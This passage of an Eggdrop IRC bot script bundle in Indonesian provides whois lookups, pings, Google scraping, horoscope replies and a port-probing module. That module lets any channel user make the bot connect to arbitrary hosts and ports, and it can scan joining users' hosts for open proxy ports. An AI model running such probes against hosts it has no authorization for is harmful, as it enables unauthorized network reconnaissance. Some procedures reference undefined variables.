flush $sockdw
    while {$i <= $l} {
        gets $sockdw linedw
        putlog $linedw
        if {[string match "*Domain*frei*" $linedw]} {
            putserv "PRIVMSG $chan :[lindex $text 0] is free"
            close $sockdw
            return 0
        }
        if {[string match "*Domain*registriert*" $linedw]} {
            gets $sockdw
            putserv "PRIVMSG $chan :!04dW4hOi4S! 03Pemilik :14 [html [gets $sockdw]] - 03Jalan14 : [html [gets $sockdw]] - 03Kota 14: [html [gets $sockdw]] - 03Negara 14: [html [gets $sockdw]] !04egG04o!"
            close $sockdw
            return 0
        }
        incr i
    }
    close $sockdw
}
proc html { text } {
regsub -all "</TD>" $text "" text
regsub -all "</FONT>" $text "" text
regsub -all "    " $text "" text
regsub -all "&uuml;" $text "ü" text
regsub -all "&ouml;" $text "ö" text
regsub -all "&auml;" $text "ä" text
regsub -all "&Uuml;" $text "Ü" text
regsub -all "&Ouml;" $text "Ö" text
regsub -all "&Auml;" $text "Ä" text
regsub -all "&szlig;" $text "ß" text
regsub -all "&quot;" $text "\"" text
regsub -all "<tb>" $text "" text
regsub -all "<font" $text "" text
regsub -all "size=\"2\"" $text "" text
regsub -all "face=\"Verdana,Arial,Helvetica,Geneva\">" $text "" text
regsub -all "<br>" $text "" text
regsub -all "&nbsp;" $text "" text
regsub -all "</font>" $text "" text
regsub -all "<td>" $text "" text
regsub -all "</td>" $text "" text
regsub -all "<b>" $text "" text
regsub -all "</b>" $text "" text
regsub -all "</pre>" $text "" text
return $text
}
putlog "dwhois.tcl By eggo ® Succesfully LoaDeD..."
################################
##  IP Whois (IPv6 Supported) ##
################################
set whoisinfo(trigger) ".ip"
set whoisinfo(port) 43
set whoisinfo(ripe) "whois.ripe.net"
set whoisinfo(arin) "whois.arin.net"
set whoisinfo(apnic) "whois.apnic.net"
set whoisinfo(lacnic) "whois.lacnic.net"
set whoisinfo(afrinic) "whois.afrinic.net"

bind pub - $whoisinfo(trigger) pub_whoisinfo

proc whoisinfo_setarray {} {
    global query
    set query(netname) "(none)"
    set query(country) "(none)"
    set query(orgname) "(none)"
    set query(orgid) "(none)"
    set query(range) "(none)"
}

proc whoisinfo_display { chan } {
    global query
    putlog "Firstline: $query(firstline)"
    puthelp "PRIVMSG $chan :!04Ip04Cek04! 03Jarak :14 $query(range) -03 NamaNet :14 $query(netname)  -03 Organisasi :14 $query(orgname) -03 Negara :14 $query(country) !04egG04o!"
}

proc pub_whoisinfo {nick uhost handle chan search} {
    global whoisinfo
    global query
    whoisinfo_setarray
    if {[whoisinfo_whois $whoisinfo(arin) $search]==1} {
        if {[string compare [string toupper $query(orgid)] "RIPE"]==0} {
            if {[whoisinfo_whois $whoisinfo(ripe) $search]==1} {
                whoisinfo_display $chan
            }
         } elseif {[string compare [string toupper $query(orgid)] "APNIC"]==0} {
            if {[whoisinfo_whois $whoisinfo(apnic) $search]==1} {
                whoisinfo_display $chan
            }
         } elseif {[string compare [string toupper $query(orgid)] "LACNIC"]==0} {
            if {[whoisinfo_whois $whoisinfo(lacnic) $search]==1} {
                whoisinfo_display $chan
                }
         } elseif {[string compare [string toupper $query(orgid)] "AFRINIC"]==0} {
            if {[whoisinfo_whois $whoisinfo(afrinic) $search]==1} {
                whoisinfo_display $chan
                }
         } else {
            whoisinfo_display $chan
        }
    } else {
        if { [info exist query(firstline)] } {
            puthelp "PRIVMSG $chan :4$query(firstline)"
        } else {
            puthelp "PRIVMSG $chan :!04Ip04Cek04! Gagal"
        }
    }
}

proc whoisinfo_whois {server search} {
    global whoisinfo
    global query
    set desccount 0
    set firstline 0
    set reply 0
    putlog "Whois: $server:$whoisinfo(port) -> $search"
    if {[catch {set sock [socket -async $server $whoisinfo(port)]} sockerr]} {
          puthelp "PRIVMSG $chan :!04Ip04Cek04! Salah: $sockerr. Coba beberapa saat lagi."
          close $sock
        return 0
        }
    puts $sock $search
    flush $sock
    while {[gets $sock whoisline]>=0} {
        putlog "Whois: $whoisline"
        if {[string index $whoisline 0]!="#" && [string index $whoisline 0]!="%" && $firstline==0} {
            if {[string trim $whoisline]!=""} {
                set query(firstline) [string trim $whoisline]
                set firstline 1
            }
        }
        if {[regexp -nocase {netname:(.*)} $whoisline all item]} {
            set query(netname) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {owner-c:(.*)} $whoisline all item]} {
            set query(netname) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {country:(.*)} $whoisline all item]} {
            set query(country) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {descr:(.*)} $whoisline all item] && $desccount==0} {
            set query(orgname) [string trim $item]
            set desccount 1
            set reply 1
        } elseif {[regexp -nocase {orgname:(.*)} $whoisline all item]} {
            set query(orgname) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {owner:(.*)} $whoisline all item]} {
            set query(orgname) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {orgid:(.*)} $whoisline all item]} {
            set query(orgid) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {inetnum:(.*)} $whoisline all item]} {
            set query(range) [string trim $item]
            set reply 1
        } elseif {[regexp -nocase {netrange:(.*)} $whoisline all item]} {
            set query(range) [string trim $item]
            set reply 1
        }
    }
    close $sock
    return $reply
}
putlog "IP TCL Loded By g0eZ egGo Succesfully"

bind pub - .ping ping_me
bind pub - ping ping_me
bind ctcr - PING ping_me_reply

proc ping_me {nick uhost hand chan arg} {
     global pingchan pingwho
     set arg [string toupper $arg]
     if {$arg == "" || [string match "#*" $arg]} {
          puthelp "NOTICE $nick :15!04egG04o04! Gunakan: !ping me atau !ping nick lain 15!04PiN04g!"
          return 0
     } elseif {$arg == "ME"} {
          putserv "PRIVMSG $nick :\001PING [unixtime]\001"
          set pingwho 0
          set pingchan $chan
          return 1
     } else {
          putserv "PRIVMSG $arg :\001PING [unixtime]\001"
          set pingwho 1
          set pingchan $chan
          return 1
     }
}

proc ping_me_reply {nick uhost hand dest key arg} {
     global pingchan pingwho
     if {$pingwho == 0} {
          puthelp "PRIVMSG $pingchan :03P14ing 3R14eply  $nick15:14 ± [expr [unixtime] - $arg] sec."
          return 0
     } elseif {$pingwho == 1} {
          puthelp "PRIVMSG $pingchan :03P14ing 3R14eply  $nick15:14 ± [expr [unixtime] - $arg] sec."
          return 0
     }
}


set port_setting(flag) "-|-"
set port_setting(cmd_pub) ".port"
set port_setting(cmd_dcc) "port"
set port_setting(read) 1
set port_setting(onjoin) 0
set port_setting(ports) "1080 21 23"
set port_setting(exemptflag) "+E"
set port_setting(autoban_svr) 0
set port_setting(autoban_list) 0
set port_setting(global) 0
set port_setting(bantime) 5
set port_setting(onotice) 1
set port_setting(bold) 1
set port_setting(port:) 1



if {![string match 1.6.* $version]} {
    putlog "\002port:\002 \002CRITICAL ERROR\002 port.tcl requires eggdrop 1.6.x to run."
    die "\002port:\002 \002CRITICAL ERROR\002 port.tcl requires eggdrop 1.6.x to run."
}
bind pub $port_setting(flag) $port_setting(cmd_pub) port_scan_pub
bind dcc $port_setting(flag) $port_setting(cmd_dcc) port_scan_dcc
bind join - * port_onjoin_scan
setudef flag port

proc port_dopre {} {
    global port_setting
    if {!$port_setting(port:)} {
        return ""
    } elseif {!$port_setting(bold)} {
        return "port: "
    } else {
        return "\002port:\002 "
    }
}
proc port_onjoin_scan {nick uhost hand chan} {
    global port_setting port_chans
    if {($port_setting(onjoin)) && ($port_setting(ports) != "") && (![matchattr $hand $port_setting(exemptflag)])} {
        foreach i [channel info $chan] {
            if {([string match "+port" $i]) && ([botisop $chan])} {
                set host [lindex [split $uhost @] 1]
                foreach p $port_setting(ports) {
                    if {![catch {set sock [socket -async $host $p]} error]} {
                        set timerid [utimer 15 [list port_timeout_join $sock]]
                        fileevent $sock writable [list port_connected_join $nick $chan $sock $host $p $timerid]
                    }
                }
                break
            }
        }
    }
}
proc port_scan_pub {nick uhost hand chan text} {
    global port_setting
    set host [lindex $text 0]
    set port [lindex $text 1]
    if {$port == ""} {
        putquick "NOTICE $nick :Gunakan: $port_setting(cmd_pub) <host> <port>"
    } else {
        if {[catch {set sock [socket -async $host $port]} error]} {
            putquick "PRIVMSG $chan :4« 14koneksi ke $host \($port\) 14tidak bisa bos 4»"
        } else {
            set timerid [utimer 15 [list port_timeout_pub $chan $sock $host $port]]
            fileevent $sock writable [list port_connected_pub $chan $sock $host $port $timerid]
        }
    }
}
proc port_scan_dcc {hand idx text} {
    global port_setting
    set host [lindex $text 0]
    set port [lindex $text 1]
    if {$port == ""} {
        putdcc $idx "[port_dopre]Usage: .$port_setting(cmd_dcc) <host> <port>"
    } else {
        if {[catch {set sock [socket -async $host $port]} error]} {
            putdcc $idx "[port_dopre]Connection to $host \($port\) was refused."
        } else {
            set timerid [utimer 15 [list port_timeout $idx $sock $host $port]]
            fileevent $sock writable [list port_connected $idx $sock $host $port $timerid]
        }
    }
}
proc port_connected {idx sock host port timerid} {
    killutimer $timerid
    if {[set error [fconfigure $sock -error]] != ""} {
        close $sock
        putdcc $idx "[port_dopre]Connection to $host \($port\) failed. \([string totitle $error]\)"
    } else {
        fileevent $sock writable {}
        fileevent $sock readable [list port_read $idx $sock $host $port]
        putdcc $idx "[port_dopre]Connection to $host \($port\) accepted."
    }
}
proc port_timeout {idx sock host port} {
    close $sock
    putdcc $idx "[port_dopre]Connection to $host \($port\) timed out."
}
proc port_read {idx sock host port} {
    global port_setting
    if {$port_setting(read)} {
        if {[gets $sock read] == -1} {
            putdcc $idx "[port_dopre]EOF On Connection To $host \($port\). Socket Closed."
            close $sock
        } else {
            putdcc $idx "[port_dopre]$host \($port\) > $read"
        }
    } else {
        close $sock
    }
}
proc port_connected_pub {chan sock host port timerid} {
    killutimer $timerid
    if {[set error [fconfigure $sock -error]] != ""} {
        close $sock
        putquick "PRIVMSG $chan :4« 14koneksi ke $host \($port\) tidak bisa bos \([string totitle $error]\) 4»"
    } else {
        fileevent $sock writable {}
        fileevent $sock readable [list port_read_pub $chan $sock $host $port]
        putquick "PRIVMSG $chan :03« 14koneksi ke $host \($port\) manstrabs bos 03»"
    }
}
proc port_timeout_pub {chan sock host port} {
    close $sock
    putquick "PRIVMSG $chan :05«14 koneksi ke $host \($port\) sekarang timed out bos 5»"
}
proc port_connected_join {nick chan sock host port timerid} {
    global port_setting botnick
    killutimer $timerid
    if {[set error [fconfigure $sock -error]] != ""} {
        close $sock
    } else {
        fileevent $sock writable {}
        fileevent $sock readable [list port_read_join $sock]
        if {$port_setting(onotice)} {
            foreach i [chanlist $chan] {
                if {([isop $i $chan]) && ($i != $botnick)} {
                    putserv "NOTICE $i :Port $port was found open on $nick's host. \($host\)"
                }
            }
        }
        if {$port_setting(autoban_svr)} {
            putserv "MODE $chan +b *!*@$host"
            putserv "KICK $chan $nick :One of the ports open on your host is banned."
            timer $port_setting(bantime) [list port_unsvrban $chan $host]
        } elseif {$port_setting(autoban_list)} {
            if {$port_setting(global)} {
                newban *!*@$host port "One of the ports open on your machine is banned." $port_setting(bantime)
            } else {
                newchanban $chan *!*@$host port "One of the ports open on your machine is banned." $port_setting(bantime)
            }
        }
    }
}
proc port_timeout_join {sock} {
    close $sock
}
proc port_read_join {sock} {
    close $sock
}
proc port_read_pub {sock} {
    global port_setting
    if {!$port_setting(read)} {
        close $sock
    } elseif {[gets $sock read] == -1} {
        putquick "PRIVMSG $chan :12«09 koneksi ke EOF On Connection To $host \($port\). socket sudah ditutup bos 12»"
        close $sock
    }
}
proc port_unsvrban {chan host} {
    putserv "MODE $chan -b *!*@$host"
}
putlog "\002port:\002 port.tcl Version 2.0 by g0eZ egGo Loaded.."
# configure the channels where the service will be available
set netcraft(chans) "*"
# Google script for the eggdrop
set google(triggers) "!google"
set google(flags) "-|-"
set google(nopub) ""
set google(antiflood) 5
set google(method) 1
set google(results) 3
set google(perline) 1
set google(version) 0.4

if {[catch { package require http } err]} {
  putlog "Cannot load [file tail [info script]]: Problem loading the http package: $err"
  return 1
}

if {[info tclversion] < 8.1} {
  putlog "Cannot load [file tail [info script]]: You need at least Tcl version 8.1 and you have Tc
l version [info tclversion]."
  return 1
}

foreach trigger [split $google(triggers)] {
  bind pub $google(flags) $trigger google:pub
}
catch { unset trigger }

proc google:output {chan nick output} {
  global google

  switch $google(method) {
    0 { putquick "NOTICE $nick :$output" }
    1 { putquick "NOTICE $nick :$output" }
    2 { putquick "NOTICE $nick :$output" }
    3 { putquick "NOTICE $nick :$output" }
    default { putquick "NOTICE $nick :$output" }
  }
}

proc google:pub {nick uhost hand chan text} {
  global lastbind google

  if {[lsearch -exact $google(nopub) [string tolower $chan]] >= 0} { return 0 }

  if {[string length [string trim [lindex $text 0]]] == 0} {
    putquick "NOTICE $nick :Usage: $lastbind <keywords>"
    return 0
  }

  if {[info exists google(floodprot)]} {
    set diff [expr [clock seconds] - $google(floodprot)]
    if {$diff < $google(antiflood)} {
      putquick "NOTICE $nick :Trigger has just been used! Please wait [expr $google(antiflood) - $
diff] seconds..."
      return 0
    }
    catch { unset diff }
  }
  set google(floodprot) [clock seconds]

  regsub -all { } [join $text] {+} search
  set google(url) "http://www.google.com/search?hl=en&ie=ISO-8859-1&q=$search"
  set google(page) [http::config -useragent "Mozilla"]
  if {[catch {set google(page) [http::geturl $google(url) -timeout 15000]} msg]} {
    putquick "NOTICE $nick :Can't connect ($msg)"
    return 0
  }
  set google(data) [http::data $google(page)]

  if {$google(results) >= 1} {
    regexp -nocase {related:(.*?)>} $google(data) t link1
  }
  if {$google(results) >= 2} {
    regexp -nocase {related:.*?>.*?related:(.*?)>} $google(data) t link2
  }
  if {$google(results) >= 3} {
    regexp -nocase {related:.*?>.*?related:.*?>.*?related:(.*?)>} $google(data) t link3
  }

  if {$google(perline) == 1} {
    set separator "\n"
  } else {
    set separator "-"
  }

  if {[info exists link3]} {
    set output "http://$link1 $separator http://$link2 $separator http://$link3"
  } elseif {[info exists link2]} {
    set output "http://$link1 $separator http://$link2"
  } elseif {[info exists link1]} {
    set output "http://$link1"
  } else {
    set output "Nothing found."
  }
  regsub -all {%26} $output {\&} output
  regsub -all {%3F} $output {?} output
  regsub -all {%3D} $output {=} output

  if {$google(perline) == 1} {
    foreach line [split $output \n] {
      google:output $chan $nick [string trim $line]
    }
  } else {
    google:output $chan $nick [string trim $output]
  }

  catch { unset output separator t link1 link2 link3 }
  catch { http::cleanup $google(page) }

  return 0
}
putlog "Google v1.0 EdiTeD By g0eZ loaded"

putlog "## ..:: Initializing shio Addon TCL ::... ##"
set shio_chan "*"
set master 1
set shio {
{
".macam" {
 "6$nick 4: 7nama-nama shio : 14kambing(1943-1955-1967-1979), tikus(1948-1960-1972-1984), kerbau(1949-1961-1973-1985), macan(1950-1962-1974-1986), kelinci(1951-1963-1975-1987), naga(1952-1964-1976-1988), ular(1941-1953-1955-1977-1989), kuda(1942-1954-1966-1978), monyet(1944-1956-1968-1980), ayam(1945-1958-1970-1981), anjing(1946-1958-1970-1982), babi(1947-1959-1971-1983)"
}
}
 {
".shio" {
 "6$nick 4: 14Penggunaan Perintah 1.14shio kambing 14atau Shio Yang Kamu Inginkan, 1!14macam : jenis/nama shio"
}
}
 {
  ".asmara" {
    "6$nick 4: 14Penggunaan Perintah 4.14asmara kambing 14atau Shio Yang Kamu Inginkan, 4!14macam : jenis/nama shio" }
 }
{
  ".asmara kambing*" {
   "4$nick, 3(15 Asmara KamBiNG 03) 14Adalah 7(1943-1955-1967-1979) 14Libidonya sangat tinggi, dan disarankan jika tidak bisa menahan alihkan ke hal lain, seperti kerja, olahraga dan kesibukan lain."
   }
 }
  {
   ".asmara tikus*" {
   "4$nick, 3(15 Asmara Tikus 03) 14Adalah 7(1948-1960-1972-1984) 14Kalau selesai melakukan hubungan intim, ia bisa tiba-tiba meninggalkan begitu saja pasangannya dan melesat ke cinta yang lain."
   }
 }
{
".asmara kerbau*" {
"4$nick, 3(15 Asmara Kerbau 03) 14Adalah 7(1949-1961-1973-1985) 14Perlu diketahui pasangannya, orang Kerbau adalah pasangan fair. Ia sangat mengerti keadaan pasangannya yang menginginkan berhubungan intim, maupun tidak." 
}
 } 
{
 ".asmara macan*" {
"4$nick, 3(15 Asmara Macan 03) 14Adalah 7(1950-1962-1974-1986) 14Mereka cenderung liar dalam hal bercinta. Dia sangat menghargai dan melayani pasangannya. hubungan intim yang dilakukannya disamping dahsyat juga romantis." 
}
 }
{
 ".asmara kelinci*" {
"4$nick, 3(15 Asmara Kelinci 03) 14Adalah 7(1951-1963-1975-1987) 14Karakteristik seks orang Kelinci tahun ini butuh warming up sebelum melakukan hubungan intim." 
}
 }
{
 ".asmara naga*" {
"4$nick, 3(15 Asmara Naga 03) 14Adalah 7(1952-1964-1976-1988) 14Namun sebenarnya masa kejayaan mereka ada ditahun lalu, dan masih membekas. Karena itu mereka masih merasa berkuasa terhadap pasangannya. " 
}
 }
{
 ".asmara ular*" {
"4$nick, 3(15 Asmara Ular 03) 14Adalah 7(1941-1953-1955-1977-1989) 14Ia suka malu-malu diajak hubungan intim. Karena itu ajakan sekali belum tentu digubris, tapi apabila sudah oke atau deal, seksnya dahsyat sekali." 
}
 }
{
 ".asmara kuda*" {
"4$nick, 3(15 Asmara Kuda 03) 14Adalah 7(1942-1954-1966-1978) 14Mereka menemukan tehnik-tehnik baru yang disukai dalam hubungan intim. Sehingga gairahnya semakin memuncak untuk terus melakukan hubungan intim."
 }
 }
{
 ".asmara monyet*" {
"4$nick, 3(15 Asmara Monyet 03) 14Adalah 7(1944-1956-1968-1980) 14Orang Monyet jika melakukan hubungan intim dengan pasangannya, tidak pandang tempat & waktu."
 }
 }
{
 ".asmara ayam*" {
"4$nick, 3(15 Asmara Ayam 03) 14Adalah 7(1945-1958-1970-1981) 14Jika mereka menginginkan untuk melakukan hubungan intim, berjalan seperti biasanya. Tidak ada perubahan maupun hal yang baru."
 }
 }
{
 ".asmara anjing*" {
"4$nick, 3(15 Asmara Anjing 03) 14Adalah 7(1946-1958-1970-1982) 14Karena itu dalam melakukan hubungan seks di tahun Kambing ini, mereka agak malas untuk diajak hubungan intim."
 }
 }
{
 ".asmara babi*" {
"4$nick, 3(15 Asmara Babi  03) 14Adalah 7(1947-1959-1971-1983) 14hubungan intim yang telah dilakukan selama ini, tetap menjadi prioritas & selalu ada pencerahan mencoba beberapa hal yang baru." 
}
}
{
".shio tikus" {
"4$nick, 3(15 shio tikus 03)14 adalah Mudah menyesuaikan diri & kreatif. Orang shio tikus adlh pengamat yg dpt diandalkan & panjang akal. Meskipun mereka cepat 'belajar', cerdik & mudah bersosialisasi, orang shio tikus cenderung suka pamer, terkadang menyebutkan nama orang terkenal/sering disebut dgn 'cari muka."
}
 }
{
".shio kerbau" {
"4$nick, 3(15 shio kerbau 03)14 adalah Tabahan, mematuhi peraturan&cenderung menyukai hal bersifat rutin, dimn bg org lain dianggap membosankan. Dpt diandalkan&bijaksana. Keinginannya tuk berkompromi seringkali membuatnya tdk mampu menemukan suatu terobosan/inovasi hingga sering disebut tdk mempunyai imajinasi yg kreatif. Orang shio kerbau mencurigai sgl sesuatu yg blm dicoba&blm terbukti, krn takut ngambil inisiatif."
}
}
{
".shio harimau" {
"4$nick, 3(15 shio harimau 03)14 adalah Terlahir Tuk jadi pemimpin,menghadapi persaingan tajam,tdk takut tuk berseteru.Tdk mudah dipengaruhi, figur sbg pemimpin alami tdk perlu diragukan.Harimau dpt jadi pemacu bg org lain,lewat tehnik bicr yg mampu meyakinkn org lain, ide yg bagus&terkadang tdk dihadapkan muncul dr mulutnya scr berurutan/lewat penampilan, dimn penampilan seringkali dirancang tuk nutupi kurangnya kepercayaan diri."
}
}
{
".shio kelinci" {
"4$nick, 3(15 shio kelinci 03)14 adalah Butuh teman&ingin kehadirannya diterima org. Mrasa aman bl ada dlm lingkup mrk, mrk mrs terlindung&aman.Merasa perlu berhati &banyak kemungkinan jadi pendiam. Meski hidup dlm klompok,mrk dpt mmlihara kekebasan tertentu&dlm jadi ekstrover, seringkali dp jadi fokus utama pd penghujung suatu pristiwa. Sk bertmn&bersosialisasi tdk mnjamin bhw mrk ingin tuk menyendiri.Penurut malah terkesan rendah hati&trs brusaha menghindari sgl pertentangan."
 }
}
{
".shio naga" {
"4$nick, 3(15 shio naga 03)14 adalah pencinta hal yg eksotik. Perlente&punya pengamatan tajam pd kecenderungan (trend) terbaru.Imajinasi yg tdk pernah kering, slalu memimpikan ide&cr baru dlm brusaha. Tdk konsisten, dpt mmbuat putus-asa temannya&dlm pkerjaan dpt mnimbulkan kekacauan apabila tdk ada orang yg mampu ngambil alih.Kuat&penuh kyakinan, dlm menentukan jalur yg menariknya, dimana dia dpt menjadi pemimpin dimanapun juga."
}
 }
{
".shio ular" {
"4$nick, 3(15 shio ular 03)14 adalah Dapat mengendalikan diri&lebih beradab; tdk terlalu ekstrover. Suka Yg lembut&halus,Senang warna polos. Personalitasnya memungkinan mrk mencapai puncak, tapi mrk tdk akan mau bersusah payah, tapi memanfaatkan jasa orang lain tuk mencapainya. Mrk punya keyakinan bahwa mrk ada pd tempat yg tepat&pd waktu yg tepat, yg mengartikan bahwa merekalah orang yg tepat itu."
}
 }
{
".shio kuda" {
"4$nick, 3(15 shio kuda 03)14 adalah Terkadang takut dgn lawan jenis, terpesona, memuja padanya sekaligus meremehkan tetapi berhubungan dgn mrk - tdk akan pernah. Suka olah raga&aktivitas sosial, Mereka memerlukan suatu perasaan berhasil dan dilihat sebagai bagian dari suatu kelompok."
}
}
{
".shio kambing" {
"4$nick, 3(15 shio kambing 03)14 adalah Kasih sayang, penuh perhatian, percaya&keperdulian pd orang lain. Puas pd diri sendiri&menghindari konfrontasi bilamana memungkinkan:Tdk mau diganggu,Diplomatis&seringkali berhasil, Bkn tipe pemimpin tapi tipe pengikut, Suka dibwh pengarahan orang lain&menyukai komunitas yg domokrasi., dimn keputusan diambil bersama."
}
}
{
".shio monyet" {
"4$nick, 3(15 shio monyet 03)14 adalah Penemu&pikiran cerdas, digabung dgn sifat ingin tahu, Panjang akal, Punya siasat yang selalu berhasil meskipun dihadapkan pada situasi yang sulit. Tidak pernah kehabisan kata-kata atau ide-ide; tapi herannya dia tidak pernah kehabisan akal."
}
}
{
".shio ayam" {
"4$nick, 3(15 shio ayam 03)14 adalah Berketetapan hati, kebanggaan&percaya diri. Pembawaan agak kasar&menyukai tindakan agresif, Naluri seorang usahawan yang peka tidak menghalangi orang bershio ayam berbuat seolah-olah membuat gerakan-gerakan spektakuler : tapi dalam kenyataannya tersembunyi motif bahwa mereka tidak ingin muncul dan hanya menjadi pengamat saja."
}
 }
{
".shio anjing" {
"4$nick, 3(15 shio anjing 03)14 adalah Setia, jujur&penuh humor,Mudah dpt teman&dpt jd teman sjati.Pkerja yg rajin, anggota suatu komunitas yg dpt dipercayai&dihargai.Kadang konservatisme, mmberi tolerasi pd ksulitan&ktidaknyamanan yg dialaminya drpd mlkkn prubahan GeDe. Swaktu lingkungan skitar mrk brbh&mmbr mrk problem, perlu waktu lm tuk menyesuaikan diri, tdk peduli pd kondisi yg sdh brubah&tetap mrasa bhw sgl suatu tdk seindah sprti masa lalu"
}
 }
{
".shio babi" {
"4$nick, 3(15 shio babi 03)14 adalah Tak ada ambisi GeDe dlm karir,Tetap memprlh manfaat drnya,pd akhirnya.Mlht kedpn tuk menikmati masa tenang.Pencinta rumah dimana misi utama mrk:keluarga.Ini:alamiah, tdk berpura, dia menikmati suasana krabat&gembira bersm.Cinta kluarga,tekun&jauh dr anggapan mls.Rmh mrk dpt menjd bukti ttg ketrampilan mrk dlm pekerjaan sbg tukang kayu,menjahit&keahlian lain yg terkait dgn rumah tangga"
}
}
{
".bijak" {
"3$nick14 : Bersih PaNgKat Sehat"
"3$nick14 : Kesehatan Adalah Anugerah Yang Termahal"
"3$nick14 : Bersih itu adalah Sebagian dari Iman"
"3$nick14 : Bersih Diri Itu Langkah Awal Menjauhi Kemaksiatan"
"3$nick14 : Jika kita mencintai seseorang, kita akan senantiasa mendo'akannya walaupun dia tidak berada disisi kita."
"3$nick14 : Cintailah seseorang itu atas dasar siapa dia sekarang dan bukan siapa dia sebelumnya."
"3$nick14 : Kisah silam tidak perlu diungkit lagi, kiranya kamu benar-benar mencintainya setulus hati."
"3$nick14 : Cinta adalah keabadian..dan kenangan adalah hal terindah yang pernah dimiliki."
"3$nick14 : Jika saja kehadiran cinta sekedar untuk mengecewakan, lebih baik cinta itu tak pernah hadir."
"3$nick14 : Kita mengerjakan segala sesuatu haruslah dengan tuntas, sempurna. Jangan sampai dicela, dikeluh orang, itulah yang terbaik."
"3$nick14 : Kita bekerja harus tanpa pamrih. Itu berlaku untuk segala pekerjaan. Pengabdian tanpa syarat adalah yang terbaik."
"3$nick14 : Anda selalu berlebih-lebihan dalam pekerjaan. Anda tidak tahu kapan untuk berhentinya. Inilah masalah yang sebenarnya."
"3$nick14 : Bekerja adalah untuk melatih diri, mengabdikan diri, demi amal bhakti atau balas budi kepada dunia atas segala pemberiannya."
"3$nick14 : Carilah uang secukupnya saja untuk membiayai kehidupan, agar dapat menyisihkan waktu dan tenaga untuk berlatih rohani."
"3$nick14 : Kita bekerja tidak semata-mata untuk mencari uang, melainkan untuk menunaikan kewajiban kita."
"3$nick14 : Membantu orang lain adalah membantu kita sendiri. Kita senantiasa harus membersihkan pikiran kita, mengamalkan cinta kasih dan kasih sayang kita dengan tanpa syarat, tidak mengharapkan sesuatu imbalan, itulah jalan terbaik."
"3$nick14 : Membantu orang untuk mencapai Kebebasan Abadi dan mengenal Ajaran Sejati adalah bantuan yang terbesar, jasa yang tertinggi."
"3$nick14 : Jika masih memikirkan untuk membela nama baik kita, wibawa kita, agar orang tahu bahwa kita sangat baik, maka kita masih mempunyai ke-aku-an, masih belum terbebas dari konsepsi orang awam."
"3$nick14 : Teguran dari orang lain merupakan suatu pujian!"
"3$nick14 : Manusia terlalu sombong, kesombongan adalah karma kita yang paling merepotkan, rintangan yang terbesar."
"3$nick14 : Berterus terang kepada diri sendiri adalah berterus terang kepada siapapun."
"3$nick14 : Kita harus menemukan kekuatan kasih dalam diri kita terlebih dahulu, barulah kita dapat benar-benar mengasihi orang lain."
"3$nick14 : Jika kita tulus dan berdisiplin terhadap diri sendiri, maka orang lain akan jujur terhadap kita."
"3$nick14 : Carilah dulu Kerajaan Surga di dalam diri kita, kemudian kita akan memiliki segalanya."
"3$nick14 : Memperbaiki diri kita adalah memperbaiki dunia."
"3$nick14 : Jika kita menganggap diri kita lemah, maka kita akan menjadi lemah; jika kita menganggap diri kita agung, maka kita akan menjadi agung."
"3$nick14 : Kita harus dapat menghargai diri sendiri, baru kita akan dihormati oleh orang lain."
"3$nick14 : Perasaan bertobat dan rendah hati sangatlah penting, namun mencintai diri sendiri jauh lebih penting, jika Anda tidak dapat mencintai Anda sendiri, dapatkah Anda mencintai orang lain?"
"3$nick14 : Lebih baik merugikan diri daripada melukai orang lain, ini adalah kebenaran yang selalu tidak boleh kita lupakan, meskipun peraturan disiplin yang lain kurang kita perhatikan, itu bukan masalah besar."
"3$nick14 : Jika kita tidak mengubah diri dengan latihan rohani, kita tidak dapat menghindari karma kita sendiri."
"3$nick14 : Apakah karma perintang itu? Sesuatu yang tidak patut kita buat, yang akan merugikan kita sendiri, orang lain dan semua ciptaan. Setelah kita berbuat, kita akan menerima ganjaran dari Hukum Sebab Akibat."
 }
 }
}

bind pubm - * pub_shio
if {$master==1} {
}

proc pub_shio {nick uhost hand chan arg} {
 global shio shio_chan botnick
 if {(([lsearch -exact [string tolower $shio_chan] [string tolower $chan]] != -1) || ($shio_chan == "*")) && (![matchattr $hand b]) && ($nick != $botnick)} {
  foreach i $shio {
   if {[string match [string tolower [lindex $i 0]] [string tolower $arg]]} {
    putserv "PRIVMSG $chan :[subst [lindex [lindex $i 1] [rand [llength [lindex $i 1]]]]]"
   }
  }
 }
}

putlog "ShioTCL by g0eZ Loaded Suceessfull!"

### OK, so let's start


# here are some bindings
bind mode - * thanksfor:mode

# now the core :) procedure
# you can change colours or text, just edit
# "Thanks" part

proc thanksfor:mode { nick host hand chan mode target } {
global botnick
if {$target == $botnick} {
   if {$mode == "+v"} {
       puthelp "PRIVMSG $chan :15M14akasih 15U14ntuk 15Voice14-nya $nick"
      }
      if {$mode == "-v"} {
       puthelp "PRIVMSG $chan :15H14adah 15K14ok 15DeVoice14 Sih $nick"
      }
   if {$mode == "+o"} {
       puthelp "PRIVMSG $chan :15M14akasih 15U14ntuk 15Op14-nya $nick"
      }
      if {$mode == "-o"} {
       puthelp "PRIVMSG $chan :15H14adah 15K14ok 15DeOp14 Sih $nick"
      }
     if {$mode == "+h"} {
       puthelp "PRIVMSG $chan :15M14akasih 15U14ntuk 15HalfOp14-nya0 $nick"
   }
   if {$mode == "-h"} {
       puthelp "PRIVMSG $chan :15H14adah 15K14ok 15DeHalfOp14 Sih $nick"
      }
}
}
# ok that should do it
# now just a little adv...

putlog "Lebay TCL Loaded By egGo Sucessfully"


bind pub - .help pub_help
proc pub_help {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :Perintah 1 : 12.dns | 12.dwhois | 12.ip | 12.port | 12.dnsnick | 12.host | 12.dns | 12.nsinfo | 12.csinfo | 12.whois|"
      putserv "NOTICE $nick :Perintah 2 : 12.aksi | 12.hitung | 12.shio | 12.ping me| 12.jam | 12.google | 12.sms | 12.jodoh| 12.seen|"
      putserv "NOTICE $nick :.Help : 12,1«14« 3R4unn6i7ng 8T7cL9 12g010e14Z 11»13» "
      return 0
    }
}

putlog "g0eZ help .tcl LoaDeD By g0eZ egGo"
set cprev "."

set fromchan "NONE"
set cctarget "NONE"
set fromchancs "NONE"
set cctargetcs "NONE"
set fromchanns "NONE"
set cctargetns "NONE"


bind pub - "${cprev}version" proc:version
